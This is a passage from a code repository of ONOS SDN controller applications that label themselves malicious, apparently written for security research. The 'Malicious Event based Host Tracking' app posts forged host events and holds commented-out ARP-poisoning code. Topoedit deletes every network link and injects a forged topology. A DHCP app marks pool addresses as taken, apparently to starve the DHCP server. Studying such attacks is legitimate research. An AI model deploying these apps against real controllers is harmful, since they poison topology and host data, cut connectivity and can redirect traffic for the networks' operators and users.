131 | // startTimer starts a timer that timeouts every X seconds.
132 | private void startTimer(long timeout) {
133 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
134 | }
135 |
136 | private Set getLocations(HostId hID) {
137 | Host h = hostService.getHost(hID);
138 | Set locations = h.locations();
139 | return locations;
140 | }
141 |
142 | private void emptyLocation(HostId hID) {
143 | Host h = hostService.getHost(hID);
144 | Set locations = h.locations();
145 | for (HostLocation location : locations) {
146 | hostStore.removeLocation(hID, location);
147 | }
148 | }
149 |
150 | // pickRandomHost picks a random host
151 | private Host pickRandomHost() {
152 | Iterable hosts = hostService.getHosts();
153 | Random rand = new Random();
154 | List hostList = new ArrayList();
155 | hosts.forEach(hostList::add);
156 | Host randomHost = hostList.get(rand.nextInt(hostList.size()));
157 |
158 | return randomHost;
159 | }
160 |
161 | // getHost picks a random host
162 | private Host getHost(int i) {
163 | Iterable hosts = hostService.getHosts();
164 | Random rand = new Random();
165 | List hostList = new ArrayList();
166 | hosts.forEach(hostList::add);
167 | Host randomHost = hostList.get(i);
168 |
169 | return randomHost;
170 | }
171 |
172 | // getHosts
173 | private void getHosts() {
174 | Iterable hosts = hostService.getHosts();
175 | Random rand = new Random();
176 | List hostList = new ArrayList();
177 | hosts.forEach(hostList::add);
178 | for (int i = 0; i < hostList.size(); i++) {
179 | log.info(hostList.get(i).toString());
180 | }
181 | }
182 |
183 | // pickRandomDevice picks a random device
184 | private Device pickRandomDevice() {
185 | Iterable devices = deviceService.getDevices();
186 | Random rand = new Random();
187 | List deviceList = new ArrayList();
188 | devices.forEach(deviceList::add);
189 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
190 |
191 | return randomDevice;
192 | }
193 |
194 | // getDeviceHosts() logs all the connected hosts for all the devices.
195 | private void getDeviceHosts() {
196 | Iterable devices = deviceService.getDevices();
197 | List deviceList = new ArrayList();
198 | devices.forEach(deviceList::add);
199 | for (Device d : deviceList) {
200 | Set hosts = hostService.getConnectedHosts(d.id());
201 | log.info("Hosts connected to device {} : {}", d.id(), hosts.toString());
202 | }
203 | }
204 |
205 | // pickRandomPort picks a random port of a device
206 | private Port pickRandomPort(List ports) {
207 | Random rand = new Random();
208 | Port randomPort = ports.get(rand.nextInt(ports.size()));
209 |
210 | return randomPort;
211 | }
212 | }
213 |
--------------------------------------------------------------------------------
/apps/trash/eventhosttracking-app/src/main/java/org/onosproject/event-host-tracking/app/EventHostTracking.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2023-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.onosproject.eventhosttracking.app;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onosproject.core.CoreService;
29 | import org.onosproject.net.DefaultAnnotations;
30 | import org.onosproject.net.device.DeviceService;
31 | import org.onosproject.net.Device;
32 | import org.onosproject.net.host.HostService;
33 | import org.onosproject.net.host.HostStore;
34 | import org.onosproject.net.host.HostEvent;
35 | import org.onosproject.net.Host;
36 | import org.onosproject.net.HostId;
37 | import org.onosproject.net.HostLocation;
38 | import org.onosproject.net.DeviceId;
39 | import org.onosproject.core.ApplicationId;
40 | import org.onosproject.net.device.DeviceStore;
41 | import org.onosproject.net.Port;
42 | import org.onosproject.net.PortNumber;
43 | import org.onosproject.event.EventDeliveryService;
44 | import org.onosproject.net.device.DeviceEvent;
45 | import org.onosproject.event.Event;
46 | import org.onlab.packet.IpAddress;
47 | import org.onosproject.net.packet.PacketEvent;
48 | import org.onosproject.net.packet.DefaultOutboundPacket;
49 | import org.onosproject.net.flow.TrafficTreatment;
50 | import org.onosproject.net.flow.DefaultTrafficTreatment.Builder;
51 | import org.onosproject.net.flow.DefaultTrafficTreatment;
52 | import org.onlab.packet.ARP;
53 | import org.onlab.packet.Ethernet;
54 | import java.nio.ByteBuffer;
55 | import java.util.Timer;
56 | import org.onosproject.net.DefaultHost;
57 | import org.onosproject.net.packet.PacketService;
58 | import java.util.Random;
59 | import java.util.ArrayList;
60 | import java.util.List;
61 | import java.io.StringWriter;
62 | import java.io.PrintWriter;
63 | import org.onlab.packet.VlanId;
64 | import org.onlab.packet.MacAddress;
65 | import org.onosproject.net.provider.ProviderId;
66 | import java.util.Set;
67 | import java.util.HashSet;
68 | import java.util.TimerTask;
69 |
70 | /**
71 | * Malicious Event based Host Tracking Application.
72 | */
73 | @Component(immediate = true)
74 | public class EventHostTracking {
75 |
76 | private final Logger log = LoggerFactory.getLogger(getClass());
77 |
78 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
79 | protected CoreService coreService;
80 |
81 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
82 | protected DeviceService deviceService;
83 |
84 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
85 | protected DeviceStore deviceStore;
86 |
87 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
88 | protected PacketService packetService;
89 |
90 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
91 | protected HostService hostService;
92 |
93 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
94 | protected EventDeliveryService eventDispatcher;
95 |
96 | Timer timer = new Timer();
97 | TimerTask timerTask = new TimerTask() {
98 | @Override
99 | public void run() {
100 | log.info("Time up, running Task!");
101 | editHostStore();
102 | }
103 | };
104 |
105 | // --------------------------------------------------------
106 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
107 | // --------------------------------------------------------
108 | private static final long TIMEOUT = 10000;
109 |
110 | @Activate
111 | protected void activate() {
112 | coreService.registerApplication("org.edoardottt.eventhosttracking.app", () -> log.info("Periscope down."));
113 | // startTimer(TIMEOUT);
114 | editHostStore();
115 | log.info("Started eventhosttracking App!");
116 | }
117 |
118 | @Deactivate
119 | protected void deactivate() {
120 | // timer.cancel();
121 | // timer.purge();
122 | log.info("Stopped eventhosttracking App!");
123 | }
124 |
125 | // editHostStore mess up with the Host Data Store.
126 | private void editHostStore() {
127 | /*
128 | * try {
129 | * Device d = pickRandomDevice();
130 | *
131 | * log.info("Malicious Event based Host Tracking App: Selected device {}",
132 | * d.id());
133 | *
134 | * List ports = deviceStore.getPorts(d.id());
135 | * Port port = ports.get(1);
136 | * Set hosts = hostService.getConnectedHosts(d.id());
137 | * Host h = hosts.iterator().next();
138 | *
139 | * log.info("Malicious Event based Host Tracking App: Selected port {}",
140 | * port.number());
141 | *
142 | * Device d2 = null;
143 | * while (d2 == null || d2 == d) {
144 | * d2 = pickRandomDevice();
145 | * }
146 | * List ports2 = deviceStore.getPorts(d2.id());
147 | * Port attackerPort = ports2.get(2);
148 | * Set hosts2 = hostService.getConnectedHosts(d2.id());
149 | * Host h2 = hosts.iterator().next();
150 | * TrafficTreatment treatment = DefaultTrafficTreatment.emptyTreatment();
151 | * Ethernet et = ARP.buildArpRequest(h.mac().toBytes(),
152 | * h.ipAddresses().iterator().next().toOctets(),
153 | * h2.ipAddresses().iterator().next().toOctets(), (short)1);
154 | * DefaultOutboundPacket op = new DefaultOutboundPacket(d2.id(), treatment,
155 | * ByteBuffer.wrap(et.serialize()), attackerPort.number());
156 | * packetService.emit(op);
157 | *
158 | * log.info("Malicious Event based Host Tracking App: {} : {} Poisoned!",
159 | * d2.id(), attackerPort.number());
160 | *
161 | * DeviceEvent e = new DeviceEvent(DeviceEvent.Type.PORT_REMOVED, d, port);
162 | * eventDispatcher.post(e);
163 | *
164 | * log.info("Malicious Event based Host Tracking App: {} : {} Location Removed!"
165 | * , d.id(), port.number());
166 | *
167 | * } catch (Exception e) {
168 | * StringWriter sw = new StringWriter();
169 | * PrintWriter pw = new PrintWriter(sw);
170 | * e.printStackTrace(pw);
171 | * log.info(sw.toString());
172 | * }
173 | */
174 |
175 | HostId hostId = HostId.hostId("00:00:00:00:00:03/None");
176 | MacAddress macAddress = MacAddress.valueOf("00:00:00:00:00:03");
177 | DeviceId deviceId = DeviceId.deviceId("of:0000000000000004");
178 | PortNumber portNumber = PortNumber.portNumber((long) 1);
179 | HostLocation location = new HostLocation(deviceId, portNumber, (long) 1);
180 | IpAddress ip = IpAddress.valueOf("10.0.0.3");
181 | Set ips = new HashSet();
182 | ips.add(ip);
183 | DefaultAnnotations annotations = DefaultAnnotations.builder().build();
184 |
185 | Host h = new DefaultHost(ProviderId.NONE, hostId, macAddress, VlanId.NONE, location, ips, annotations);
186 |
187 | HostEvent e = new HostEvent(HostEvent.Type.HOST_UPDATED, h);
188 |
189 | eventDispatcher.post(e);
190 |
191 | log.info(e.toString());
192 | }
193 |
194 | // startTimer starts a timer that timeouts every X seconds.
195 | private void startTimer(long timeout) {
196 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
197 | }
198 |
199 | // pickRandomDevice picks a random device
200 | private Device pickRandomDevice() {
201 | Iterable devices = deviceService.getDevices();
202 | Random rand = new Random();
203 | List deviceList = new ArrayList();
204 | devices.forEach(deviceList::add);
205 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
206 |
207 | return randomDevice;
208 | }
209 |
210 | // pickRandomPort picks a random port of a device
211 | private Port pickRandomPort(List ports) {
212 | Random rand = new Random();
213 | Port randomPort = ports.get(rand.nextInt(ports.size()));
214 | while (randomPort.number() == PortNumber.LOCAL) {
215 | randomPort = ports.get(rand.nextInt(ports.size()));
216 | }
217 |
218 | return randomPort;
219 | }
220 |
221 | // getHost picks a random host
222 | private Host getHost(int i) {
223 | Iterable hosts = hostService.getHosts();
224 | Random rand = new Random();
225 | List hostList = new ArrayList();
226 | hosts.forEach(hostList::add);
227 | Host randomHost = hostList.get(i);
228 |
229 | return randomHost;
230 | }
231 | }
232 |
--------------------------------------------------------------------------------
/apps/topoedit-app/src/main/java/org/topoedit/app/Topoedit.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.topoedit.app;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onosproject.core.CoreService;
29 | import org.onosproject.net.provider.ProviderId;
30 | import org.onosproject.net.host.HostService;
31 | import org.onosproject.net.host.HostStore;
32 | import org.onosproject.net.link.LinkStore;
33 | import org.onosproject.net.topology.TopologyStore;
34 | import org.onosproject.net.Host;
35 | import org.onosproject.net.Link;
36 | import org.onosproject.net.HostId;
37 | import org.onosproject.net.HostLocation;
38 | import org.onosproject.net.device.DeviceService;
39 | import org.onosproject.net.device.DeviceStore;
40 | import org.onosproject.net.ConnectPoint;
41 | import org.onosproject.net.DefaultAnnotations;
42 | import org.onosproject.net.Device;
43 | import org.onosproject.net.Port;
44 | import org.onosproject.net.SparseAnnotations;
45 | import org.onosproject.net.topology.DefaultGraphDescription;
46 | import org.onosproject.net.topology.TopologyEvent;
47 | import org.onosproject.net.link.LinkEvent;
48 | import org.onosproject.event.Event;
49 |
50 | import java.util.Timer;
51 | import java.util.Random;
52 | import java.util.ArrayList;
53 | import java.util.Arrays;
54 | import java.util.List;
55 | import java.util.Set;
56 | import java.util.TimerTask;
57 |
58 | /**
59 | * topoedit.
60 | */
61 | @Component(immediate = true)
62 | public class Topoedit {
63 |
64 | private final Logger log = LoggerFactory.getLogger(getClass());
65 |
66 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
67 | protected CoreService coreService;
68 |
69 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
70 | protected HostService hostService;
71 |
72 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
73 | protected HostStore hostStore;
74 |
75 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
76 | protected LinkStore linkStore;
77 |
78 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
79 | protected TopologyStore topologyStore;
80 |
81 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
82 | protected DeviceService deviceService;
83 |
84 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
85 | protected DeviceStore deviceStore;
86 |
87 | Timer timer = new Timer();
88 | TimerTask timerTask = new TimerTask() {
89 | @Override
90 | public void run() {
91 | log.info("Time up, running Task!");
92 | editTopoStore();
93 | }
94 | };
95 |
96 | // --------------------------------------------------------
97 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
98 | // --------------------------------------------------------
99 | private static final long TIMEOUT = 10000;
100 |
101 | @Activate
102 | protected void activate() {
103 | coreService.registerApplication("org.edoardottt.topoedit.app", () -> log.info("Periscope down."));
104 | // startTimer(TIMEOUT);
105 | editTopoStore();
106 | log.info("Started topoedit App!");
107 | }
108 |
109 | @Deactivate
110 | protected void deactivate() {
111 | // timer.cancel();
112 | // timer.purge();
113 | log.info("Stopped topoedit App!");
114 | }
115 |
116 | // editHostStore mess up with the Host Data Store.
117 | private void editTopoStore() {
118 | /*
119 | * // --- ORIGINAL CODE ---
120 | * getHosts();
121 | * HostId hId = pickRandomHost().id();
122 | * emptyLocation(hId);
123 | * DeviceId dId = pickRandomDevice().id();
124 | * List ports = deviceStore.getPorts(dId);
125 | * PortNumber pNumber = pickRandomPort(ports).number();
126 | * HostLocation hl = new HostLocation(dId, pNumber, 0);
127 | * hostStore.appendLocation(hId, hl);
128 | * log.info("Malicious Host Tracking App: Host {} connected to device {}",
129 | * hId.toString(), dId.toString());
130 | * getHosts();
131 | */
132 |
133 | /*
134 | * --- SWITCH LOCATIONS OF TWO HOSTS ---
135 | * getHosts();
136 | * HostId h1 = getHost(2).id();
137 | * HostId h4 = getHost(0).id();
138 | * getHosts();
139 | * log.info("Malicious Host Tracking App: Selected host {} and host {}", h1,
140 | * h4);
141 | * Set locationsH4 = getLocations(h4);
142 | * Set locationsH1 = getLocations(h1);
143 | * log.info("Malicious Host Tracking App: Locations {} and {}", locationsH1,
144 | * locationsH4);
145 | * HostLocation newLocationH4 = locationsH1.iterator().next();
146 | * HostLocation newLocationH1 = locationsH4.iterator().next();
147 | * hostStore.appendLocation(h4, newLocationH4);
148 | * hostStore.appendLocation(h1, newLocationH1);
149 | * log.info("Malicious Host Tracking App: Locations {} and {}",
150 | * getLocations(h1), getLocations(h4));
151 | * hostStore.removeLocation(h1, newLocationH4);
152 | * hostStore.removeLocation(h4, newLocationH1);
153 | * log.
154 | * info("Malicious Host Tracking App: Locations successfully poisoned: {} and {}"
155 | * , getLocations(h1),
156 | * getLocations(h4));
157 | */
158 |
159 | long nanos = 9223372036854775807L;
160 |
161 | long millis = 9223372036854775807L;
162 |
163 | Iterable devices = deviceService.getDevices();
164 |
165 | Iterable i = linkStore.getLinks();
166 | List links = new ArrayList ();
167 | i.forEach(links::add);
168 | int len = links.size();
169 | while (len > 0) {
170 | Link l = pickRandomLink();
171 | ConnectPoint src = l.src();
172 | ConnectPoint dst = l.dst();
173 | linkStore.removeLink(src, dst);
174 | i = linkStore.getLinks();
175 | links = new ArrayList ();
176 | i.forEach(links::add);
177 | len = links.size();
178 | }
179 |
180 | Iterable linkss = linkStore.getLinks();
181 |
182 | log.info("Links: {}", linkss);
183 |
184 | DefaultAnnotations sa = DefaultAnnotations.builder().build();
185 |
186 | DefaultGraphDescription gd = new DefaultGraphDescription(nanos, millis, devices, linkss, sa);
187 |
188 | List reasons = new ArrayList<>();
189 | topologyStore.updateTopology(ProviderId.NONE, gd, reasons);
190 | }
191 |
192 | // startTimer starts a timer that timeouts every X seconds.
193 | private void startTimer(long timeout) {
194 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
195 | }
196 |
197 | // pickRandomLink picks a random infrastructure link
198 | private Link pickRandomLink() {
199 | Iterable i = linkStore.getLinks();
200 | Random rand = new Random();
201 | List links = new ArrayList ();
202 | i.forEach(links::add);
203 | Link randomLink = links.get(rand.nextInt(links.size()));
204 |
205 | return randomLink;
206 | }
207 |
208 | private Set getLocations(HostId hID) {
209 | Host h = hostService.getHost(hID);
210 | Set locations = h.locations();
211 | return locations;
212 | }
213 |
214 | private void emptyLocation(HostId hID) {
215 | Host h = hostService.getHost(hID);
216 | Set locations = h.locations();
217 | for (HostLocation location : locations) {
218 | hostStore.removeLocation(hID, location);
219 | }
220 | }
221 |
222 | // pickRandomHost picks a random host
223 | private Host pickRandomHost() {
224 | Iterable hosts = hostService.getHosts();
225 | Random rand = new Random();
226 | List hostList = new ArrayList();
227 | hosts.forEach(hostList::add);
228 | Host randomHost = hostList.get(rand.nextInt(hostList.size()));
229 |
230 | return randomHost;
231 | }
232 |
233 | // getHost picks a random host
234 | private Host getHost(int i) {
235 | Iterable hosts = hostService.getHosts();
236 | List hostList = new ArrayList();
237 | hosts.forEach(hostList::add);
238 | Host randomHost = hostList.get(i);
239 |
240 | return randomHost;
241 | }
242 |
243 | // getHosts
244 | private void getHosts() {
245 | Iterable hosts = hostService.getHosts();
246 | List hostList = new ArrayList();
247 | hosts.forEach(hostList::add);
248 | for (int i = 0; i < hostList.size(); i++) {
249 | log.info(hostList.get(i).toString());
250 | }
251 | }
252 |
253 | // pickRandomDevice picks a random device
254 | private Device pickRandomDevice() {
255 | Iterable devices = deviceService.getDevices();
256 | Random rand = new Random();
257 | List deviceList = new ArrayList();
258 | devices.forEach(deviceList::add);
259 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
260 |
261 | return randomDevice;
262 | }
263 |
264 | // getDeviceHosts() logs all the connected hosts for all the devices.
265 | private void getDeviceHosts() {
266 | Iterable devices = deviceService.getDevices();
267 | List deviceList = new ArrayList();
268 | devices.forEach(deviceList::add);
269 | for (Device d : deviceList) {
270 | Set hosts = hostService.getConnectedHosts(d.id());
271 | log.info("Hosts connected to device {} : {}", d.id(), hosts.toString());
272 | }
273 | }
274 |
275 | // pickRandomPort picks a random port of a device
276 | private Port pickRandomPort(List ports) {
277 | Random rand = new Random();
278 | Port randomPort = ports.get(rand.nextInt(ports.size()));
279 |
280 | return randomPort;
281 | }
282 | }
283 |
--------------------------------------------------------------------------------
/apps/dhcpipsat-app/src/main/java/org/dhcpipsat/app/DhcpIpSat.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.onosproject.dhcpipsat;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onosproject.core.CoreService;
29 | import org.onosproject.net.host.HostService;
30 | import org.onosproject.net.host.HostStore;
31 | import org.onosproject.net.Host;
32 | import org.onosproject.net.HostId;
33 | import org.onosproject.net.HostLocation;
34 | import org.onosproject.net.device.DeviceService;
35 | import org.onosproject.net.device.DeviceStore;
36 | import org.onosproject.net.Device;
37 | import org.onosproject.net.Port;
38 | import java.util.Timer;
39 | import java.util.Random;
40 | import java.util.ArrayList;
41 | import java.util.List;
42 | import java.util.Set;
43 | import java.util.TimerTask;
44 | import org.onlab.packet.ARP;
45 | import org.onlab.packet.DHCP;
46 | import org.onlab.packet.Ethernet;
47 | import org.onlab.packet.IPv4;
48 | import org.onlab.packet.Ip4Address;
49 | import org.onlab.packet.IpAddress;
50 | import org.onlab.packet.MacAddress;
51 | import org.onlab.packet.TpPort;
52 | import org.onlab.packet.UDP;
53 | import org.onlab.packet.VlanId;
54 | import org.onlab.packet.dhcp.DhcpOption;
55 | import org.onlab.util.SharedScheduledExecutors;
56 | import org.onlab.util.Tools;
57 | import org.onosproject.cfg.ComponentConfigService;
58 | import org.onosproject.core.ApplicationId;
59 | import org.onosproject.core.CoreService;
60 | import org.onosproject.net.ConnectPoint;
61 | import org.onosproject.net.Host;
62 | import org.onosproject.net.HostId;
63 | import org.onosproject.net.HostLocation;
64 | import org.onosproject.net.config.ConfigFactory;
65 | import org.onosproject.net.config.NetworkConfigEvent;
66 | import org.onosproject.net.config.NetworkConfigListener;
67 | import org.onosproject.net.config.NetworkConfigRegistry;
68 | import org.onosproject.net.flow.DefaultTrafficSelector;
69 | import org.onosproject.net.flow.DefaultTrafficTreatment;
70 | import org.onosproject.net.flow.TrafficSelector;
71 | import org.onosproject.net.flow.TrafficTreatment;
72 | import org.onosproject.net.host.DefaultHostDescription;
73 | import org.onosproject.net.host.HostProvider;
74 | import org.onosproject.net.host.HostProviderRegistry;
75 | import org.onosproject.net.host.HostProviderService;
76 | import org.onosproject.net.packet.DefaultOutboundPacket;
77 | import org.onosproject.net.host.HostEvent;
78 | import org.onosproject.net.host.HostListener;
79 | import java.util.concurrent.ExecutorService;
80 | import org.onosproject.net.packet.PacketContext;
81 | import org.onosproject.net.packet.PacketPriority;
82 | import org.onosproject.net.packet.PacketProcessor;
83 | import org.onosproject.net.packet.PacketService;
84 | import org.onosproject.net.provider.AbstractProvider;
85 | import org.onosproject.net.provider.ProviderId;
86 | import org.osgi.service.component.ComponentContext;
87 | import org.osgi.service.component.annotations.Activate;
88 | import org.osgi.service.component.annotations.Component;
89 | import org.osgi.service.component.annotations.Deactivate;
90 | import org.osgi.service.component.annotations.Modified;
91 | import org.osgi.service.component.annotations.Reference;
92 | import org.osgi.service.component.annotations.ReferenceCardinality;
93 | import org.slf4j.Logger;
94 | import org.slf4j.LoggerFactory;
95 |
96 | import static java.util.concurrent.Executors.newSingleThreadScheduledExecutor;
97 | import static org.onlab.util.Tools.groupedThreads;
98 |
99 | import java.nio.ByteBuffer;
100 | import java.util.ArrayList;
101 | import java.util.Date;
102 | import java.util.Dictionary;
103 | import java.util.HashSet;
104 | import java.util.List;
105 | import java.util.Map;
106 | import java.util.Objects;
107 | import java.util.Optional;
108 | import java.util.Set;
109 | import java.util.concurrent.ScheduledFuture;
110 | import java.util.concurrent.TimeUnit;
111 |
112 | /*
113 | * ONOS-IPSAT
114 | */
115 | import org.onosproject.security.IpAddressPoolStore;
116 |
117 | /**
118 | * DHCP Server IP Saturation.
119 | */
120 | @Component(immediate = true)
121 | public class DhcpIpSat {
122 |
123 | private final Logger log = LoggerFactory.getLogger(getClass());
124 |
125 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
126 | protected CoreService coreService;
127 |
128 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
129 | protected HostService hostService;
130 |
131 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
132 | protected HostStore hostStore;
133 |
134 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
135 | protected DeviceService deviceService;
136 |
137 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
138 | protected DeviceStore deviceStore;
139 |
140 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
141 | protected PacketService packetService;
142 |
143 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
144 | protected IpAddressPoolStore ipAddressPoolStore;
145 |
146 | protected ExecutorService eventExecutor;
147 |
148 | private final InternalHostListener hostListener = new InternalHostListener();
149 |
150 | // private DhcpPacketProcessor processor = new DhcpPacketProcessor();
151 |
152 | private ApplicationId appId;
153 |
154 | @Activate
155 | protected void activate() {
156 | appId = coreService.registerApplication("org.onosproject.dhcpipsat.app", () -> log.info("Periscope down."));
157 | // packetService.addProcessor(processor, PacketProcessor.director(1));
158 | // requestPackets();
159 | eventExecutor = newSingleThreadScheduledExecutor(groupedThreads("onos/dhcpipsat", "events-%d", log));
160 | hostService.addListener(hostListener);
161 | log.info("Started dhcpipsat App!");
162 | }
163 |
164 | @Deactivate
165 | protected void deactivate() {
166 | // packetService.removeProcessor(processor);
167 | // cancelPackets();
168 | hostService.removeListener(hostListener);
169 | eventExecutor.shutdownNow();
170 | eventExecutor = null;
171 | log.info("Stopped dhcpipsat App!");
172 | }
173 |
174 | private class InternalHostListener implements HostListener {
175 | @Override
176 | public void event(HostEvent event) {
177 | eventExecutor.execute(() -> {
178 | // read from host data store which IP addresses have been taken
179 | // ArrayList ips = getIpAddresses();
180 | log.info("received EVENT!");
181 | Host h = event.subject();
182 | ArrayList ipList = new ArrayList();
183 | for (IpAddress ipa : h.ipAddresses()) {
184 | ipList.add(ipa.toString());
185 | }
186 |
187 | // update the IP address pool store
188 | for (String ip : ipList) {
189 | int lastDigits = Integer.valueOf(ip.split("\\.")[3]);
190 | ipAddressPoolStore.ipTaken(lastDigits);
191 | }
192 | });
193 | }
194 |
195 | }
196 |
197 | /*
198 | * private void requestPackets() {
199 | *
200 | * TrafficSelector.Builder selectorServer = DefaultTrafficSelector.builder()
201 | * .matchEthType(Ethernet.TYPE_IPV4)
202 | * .matchIPProtocol(IPv4.PROTOCOL_UDP)
203 | * .matchUdpDst(TpPort.tpPort(UDP.DHCP_SERVER_PORT))
204 | * .matchUdpSrc(TpPort.tpPort(UDP.DHCP_CLIENT_PORT));
205 | * packetService.requestPackets(selectorServer.build(), PacketPriority.CONTROL,
206 | * appId);
207 | *
208 | * selectorServer = DefaultTrafficSelector.builder()
209 | * .matchEthType(Ethernet.TYPE_ARP);
210 | * packetService.requestPackets(selectorServer.build(), PacketPriority.CONTROL,
211 | * appId);
212 | * }
213 | *
214 | * private void cancelPackets() {
215 | * TrafficSelector.Builder selectorServer = DefaultTrafficSelector.builder()
216 | * .matchEthType(Ethernet.TYPE_IPV4)
217 | * .matchIPProtocol(IPv4.PROTOCOL_UDP)
218 | * .matchUdpDst(TpPort.tpPort(UDP.DHCP_SERVER_PORT))
219 | * .matchUdpSrc(TpPort.tpPort(UDP.DHCP_CLIENT_PORT));
220 | * packetService.cancelPackets(selectorServer.build(), PacketPriority.CONTROL,
221 | * appId);
222 | *
223 | * selectorServer = DefaultTrafficSelector.builder()
224 | * .matchEthType(Ethernet.TYPE_ARP);
225 | * packetService.cancelPackets(selectorServer.build(), PacketPriority.CONTROL,
226 | * appId);
227 | * }
228 | *
229 | * private class DhcpPacketProcessor implements PacketProcessor {
230 | *
231 | * @Override
232 | * public void process(PacketContext context) {
233 | * Ethernet packet = context.inPacket().parsed();
234 | * if (packet.getEtherType() == Ethernet.TYPE_IPV4) {
235 | * IPv4 ipv4Packet = (IPv4) packet.getPayload();
236 | *
237 | * if (ipv4Packet.getProtocol() == IPv4.PROTOCOL_UDP) {
238 | * UDP udpPacket = (UDP) ipv4Packet.getPayload();
239 | *
240 | * if (udpPacket.getDestinationPort() == UDP.DHCP_SERVER_PORT ||
241 | * udpPacket.getSourcePort() == UDP.DHCP_CLIENT_PORT) {
242 | * // This is meant for the dhcp server so process the packet here.
243 | * log.info("received DHCP packet!");
244 | *
245 | * // read from host data store which IP addresses have been taken
246 | * ArrayList ips = getIpAddresses();
247 | *
248 | * // update the IP address pool store
249 | * for (String ip : ips) {
250 | * int lastDigits = Integer.valueOf(ip.split("\\.")[3]);
251 | * ipAddressPoolStore.ipTaken(lastDigits);
252 | * }
253 | * }
254 | * }
255 | * }
256 | * }
257 | * }
258 | */
259 |
260 | // getHosts
261 | private ArrayList getIpAddresses() {
262 | Iterable hosts = hostService.getHosts();
263 | ArrayList hostList = new ArrayList();
264 | ArrayList ipList = new ArrayList();
265 | hosts.forEach(hostList::add);
266 | for (int i = 0; i < hostList.size(); i++) {
267 | for (IpAddress ipa : hostList.get(i).ipAddresses()) {
268 | ipList.add(ipa.toString());
269 | }
270 | }
271 | return ipList;
272 | }
273 | }
274 |
--------------------------------------------------------------------------------